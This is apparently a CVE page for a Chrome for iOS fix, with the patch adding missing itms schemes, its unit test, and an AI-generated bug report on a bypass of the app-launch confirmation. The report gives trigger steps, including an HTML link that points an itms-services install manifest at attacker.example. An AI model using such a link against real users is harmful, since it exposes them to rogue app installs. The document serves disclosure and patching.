CVE-2026-79105
Overview
Changed Functions
| Function | Change | Notes |
|---|---|---|
TEST_Fios/chrome/browser/shared/model/url/url_util_unittest.mm |
modified |
Files Changed
ios/chrome/browser/shared/model/url/url_util.mmios/chrome/browser/shared/model/url/url_util_unittest.mm
Patch
From 653351b609c94f29f39dd9e1e05c1b09d7c8fcdd Mon Sep 17 00:00:00 2001 From: Olivier Robin <[email protected]> Date: Fri, 10 Jul 2026 08:59:09 -0700 Subject: [PATCH] Update itms schemes Add more schemes to detect itunes URLs. Fixed: 533046298 Change-Id: I265601aec99a82736f96a422298f864c7ecec41b Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/8065232 Auto-Submit: Olivier Robin <[email protected]> Reviewed-by: Quentin Pubert <[email protected]> Reviewed-by: Gauthier Ambard <[email protected]> Commit-Queue: Quentin Pubert <[email protected]> Cr-Commit-Position: refs/heads/main@{#1660315} --- diff --git a/ios/chrome/browser/shared/model/url/url_util.mm b/ios/chrome/browser/shared/model/url/url_util.mm index 7d7c4f08..fa16702 100644 --- a/ios/chrome/browser/shared/model/url/url_util.mm +++ b/ios/chrome/browser/shared/model/url/url_util.mm @@ -124,7 +124,10 @@ // There's no evidence that itms-bookss is actually // supported, but over-inclusion costs less than // under-inclusion. - @"itms-books", @"itms-bookss", nil]; + @"itms-books", @"itms-bookss", @"itms-services", + @"itms-beta", @"itms-betas", @"itms-watch", + @"itms-watchs", @"itms-podcasts", @"itms-podcastss", + nil]; }); return schemes; } diff --git a/ios/chrome/browser/shared/model/url/url_util_unittest.mm b/ios/chrome/browser/shared/model/url/url_util_unittest.mm index 4fdad2b..0f77d9b7 100644 --- a/ios/chrome/browser/shared/model/url/url_util_unittest.mm +++ b/ios/chrome/browser/shared/model/url/url_util_unittest.mm @@ -89,4 +89,40 @@ EXPECT_TRUE([schemes containsObject:unittestScheme]); } +TEST_F(ChromeURLUtilTest, UrlHasAppStoreScheme) { + EXPECT_TRUE(UrlHasAppStoreScheme( + GURL("itms://itunes.apple.com/us/app/appname/id123"))); + EXPECT_TRUE(UrlHasAppStoreScheme( + GURL("itmss://itunes.apple.com/us/app/appname/id123"))); + EXPECT_TRUE(UrlHasAppStoreScheme( + GURL("itms-apps://itunes.apple.com/us/app/appname/id123"))); + EXPECT_TRUE(UrlHasAppStoreScheme( + GURL("itms-appss://itunes.apple.com/us/app/appname/id123"))); + EXPECT_TRUE(UrlHasAppStoreScheme( + GURL("itms-books://itunes.apple.com/us/app/appname/id123"))); + EXPECT_TRUE(UrlHasAppStoreScheme( + GURL("itms-bookss://itunes.apple.com/us/app/appname/id123"))); + EXPECT_TRUE(UrlHasAppStoreScheme( + GURL("itms-services://?action=download-manifest&url=https://example.com/" + "app.plist"))); + EXPECT_TRUE( + UrlHasAppStoreScheme(GURL("itms-beta://testflight.apple.com/join/123"))); + EXPECT_TRUE( + UrlHasAppStoreScheme(GURL("itms-betas://testflight.apple.com/join/123"))); + EXPECT_TRUE( + UrlHasAppStoreScheme(GURL("itms-watch://testflight.apple.com/join/123"))); + EXPECT_TRUE(UrlHasAppStoreScheme( + GURL("itms-watchs://testflight.apple.com/join/123"))); + EXPECT_TRUE(UrlHasAppStoreScheme( + GURL("itms-podcasts://testflight.apple.com/join/123"))); + EXPECT_TRUE(UrlHasAppStoreScheme( + GURL("itms-podcastss://testflight.apple.com/join/123"))); + + EXPECT_FALSE(UrlHasAppStoreScheme( + GURL("https://itunes.apple.com/us/app/appname/id123"))); + EXPECT_FALSE(UrlHasAppStoreScheme( + GURL("http://itunes.apple.com/us/app/appname/id123"))); + EXPECT_FALSE(UrlHasAppStoreScheme(GURL("not-itms://foo"))); +} + } // namespace
Regression Test / PoC
diff --git a/ios/chrome/browser/shared/model/url/url_util_unittest.mm b/ios/chrome/browser/shared/model/url/url_util_unittest.mm
index 4fdad2b..0f77d9b7 100644
--- a/ios/chrome/browser/shared/model/url/url_util_unittest.mm
+++ b/ios/chrome/browser/shared/model/url/url_util_unittest.mm
@@ -89,4 +89,40 @@
EXPECT_TRUE([schemes containsObject:unittestScheme]);
}
+TEST_F(ChromeURLUtilTest, UrlHasAppStoreScheme) {
+ EXPECT_TRUE(UrlHasAppStoreScheme(
+ GURL("itms://itunes.apple.com/us/app/appname/id123")));
+ EXPECT_TRUE(UrlHasAppStoreScheme(
+ GURL("itmss://itunes.apple.com/us/app/appname/id123")));
+ EXPECT_TRUE(UrlHasAppStoreScheme(
+ GURL("itms-apps://itunes.apple.com/us/app/appname/id123")));
+ EXPECT_TRUE(UrlHasAppStoreScheme(
+ GURL("itms-appss://itunes.apple.com/us/app/appname/id123")));
+ EXPECT_TRUE(UrlHasAppStoreScheme(
+ GURL("itms-books://itunes.apple.com/us/app/appname/id123")));
+ EXPECT_TRUE(UrlHasAppStoreScheme(
+ GURL("itms-bookss://itunes.apple.com/us/app/appname/id123")));
+ EXPECT_TRUE(UrlHasAppStoreScheme(
+ GURL("itms-services://?action=download-manifest&url=https://example.com/"
+ "app.plist")));
+ EXPECT_TRUE(
+ UrlHasAppStoreScheme(GURL("itms-beta://testflight.apple.com/join/123")));
+ EXPECT_TRUE(
+ UrlHasAppStoreScheme(GURL("itms-betas://testflight.apple.com/join/123")));
+ EXPECT_TRUE(
+ UrlHasAppStoreScheme(GURL("itms-watch://testflight.apple.com/join/123")));
+ EXPECT_TRUE(UrlHasAppStoreScheme(
+ GURL("itms-watchs://testflight.apple.com/join/123")));
+ EXPECT_TRUE(UrlHasAppStoreScheme(
+ GURL("itms-podcasts://testflight.apple.com/join/123")));
+ EXPECT_TRUE(UrlHasAppStoreScheme(
+ GURL("itms-podcastss://testflight.apple.com/join/123")));
+
+ EXPECT_FALSE(UrlHasAppStoreScheme(
+ GURL("https://itunes.apple.com/us/app/appname/id123")));
+ EXPECT_FALSE(UrlHasAppStoreScheme(
+ GURL("http://itunes.apple.com/us/app/appname/id123")));
+ EXPECT_FALSE(UrlHasAppStoreScheme(GURL("not-itms://foo")));
+}
+
} // namespace
Original Bug Report
Potential bypass of app-launch confirmation for iOS app-install/TestFlight schemes
Project Fortify, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports. Please see https://chromium.googlesource.com/chromium/src/+/main/docs/security/ai-generated-security-bugs-faq.md for more information.
Overview: Chrome for iOS’s AppLauncherTabHelper can potentially fail to show a confirmation dialog when a user taps on link URLs using specific App-Store-related schemes such as itms-services or itms-beta. Because these schemes are omitted from the browser’s App Store scheme list, Chrome bypasses the confirmation overlay and directly hands the request to the iOS system. This allows an attacker to trigger native OS enterprise installation or TestFlight prompts without Chrome’s warning overlay.
Affected files:
ios/chrome/browser/shared/model/url/url_util.mmios/chrome/browser/app_launcher/model/app_launcher_tab_helper.mm
Estimated timestamp from git blame: 2017-05-17
Potential iOS App-Launch Confirmation Bypass for itms-services and itms-beta Schemes
Summary
Chrome’s external application launcher on iOS (AppLauncherTabHelper) requires a Chrome-side confirmation prompt before opening native App Store links to prevent unauthorized app installations or user-workflow disruption. However, the allowlist of App Store-family schemes in GetItmsSchemes() is incomplete. It omits several sibling schemes registerable by iOS system apps, including itms-services (used for OTA enterprise IPA installations) and itms-beta/itms-betas (used for TestFlight pre-release invites). When a user taps a link with these schemes, Chrome potentially bypasses its internal confirmation overlay and immediately forwards the launch request to iOS, triggering native system sheets directly.
Root Cause Analysis
In ios/chrome/browser/app_launcher/model/app_launcher_tab_helper.mm (lines 164-167), Chrome evaluates whether to show a confirmation overlay before launching an external application:
// Show the a dialog for app store launches and external URL navigations that
// did not originate from a link tap.
if (UrlHasAppStoreScheme(url) || !link_transition) {
ShowAppLaunchAlert(AppLauncherAlertCause::kOther, url);
return;
}
If the target URL has an App Store scheme (e.g., itms-apps://), Chrome always intercepts the navigation with a warning overlay, even if it originated from a genuine link tap (link_transition == true).
However, the scheme check in ios/chrome/browser/shared/model/url/url_util.mm (lines 118-130) is restricted to a hardcoded set:
NSSet<NSString*>* GetItmsSchemes() {
static NSSet<NSString*>* schemes;
static dispatch_once_t once;
dispatch_once(&once, ^{
schemes = [NSSet<NSString*>
setWithObjects:@"itms", @"itmss", @"itms-apps", @"itms-appss",
// There's no evidence that itms-bookss is actually
// supported, but over-inclusion costs less than
// under-inclusion.
@"itms-books", @"itms-bookss", nil];
});
return schemes;
}
Because this set lacks schemes like itms-services and itms-beta, UrlHasAppStoreScheme evaluates to false for them. If a user taps on such a link, the check (UrlHasAppStoreScheme(url) || !link_transition) is bypassed (evaluates to false), allowing Chrome to skip the warning overlay and directly delegate the app-opening process to iOS via [[UIApplication sharedApplication] openURL:...].
Potential Exploit / Trigger Steps
Please note: Since our tooling does not currently support code execution or live device testing, these steps represent a potential/theoretical sequence based on static analysis of the codebase.
- An attacker serves a web page containing a link targeted at an enterprise application installer:
<a href="itms-services://?action=download-manifest&url=https://attacker.example/app.plist">Click here to proceed</a> - The user taps this link inside Chrome for iOS.
- Chrome’s policy decider Cancels the normal web navigation and schedules an external application launch request.
AppLauncherTabHelperevaluates the URL and skips the confirmation overlay because the scheme is omitted fromGetItmsSchemes().- Chrome immediately initiates the launch via
openURL:. - The iOS operating system handles the request, immediately surfacing its native system enterprise-install prompt over Chrome’s browser interface while the Omnibox still displays the attacker page’s origin.
Security Impact
This is a low-severity policy bypass and origin-attribution/phishing-class issue. It allows malicious web content to trigger OS-level installation or beta-testing prompts on a single tap without Chrome’s security-warning dialog. While iOS still presents its native system confirmation sheet before any application is installed (capping the direct risk of malware installation), this bug removes one of the two intended warning layers and allows the attacker to frame the OS install dialog under their origin context.
Suggested Fix
Update GetItmsSchemes() in ios/chrome/browser/shared/model/url/url_util.mm to include the missing App Store-related system installer and service schemes:
NSSet<NSString*>* GetItmsSchemes() {
static NSSet<NSString*>* schemes;
static dispatch_once_t once;
dispatch_once(&once, ^{
schemes = [NSSet<NSString*>
setWithObjects:@"itms", @"itmss", @"itms-apps", @"itms-appss",
@"itms-books", @"itms-bookss",
@"itms-services", @"itms-beta", @"itms-betas",
@"itms-watch", @"itms-watchs",
@"itms-podcasts", @"itms-podcastss", nil];
});
return schemes;
}
Evaluated with Chrome root at commit: 84065d9121f6e48f67755f0ae963cc09617e5c85
Results so far have been promising, but there can be wrong deductions. Feel free to adjust as follows:
- If you are familiar with the severity guidelines, you may adjust the severity.
- If this is a false positive, and there’s no work to be done, please close as WAI.
- If there is work to do here but not a vulnerability, please change the issue type to Task/Bug/FR.
Data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.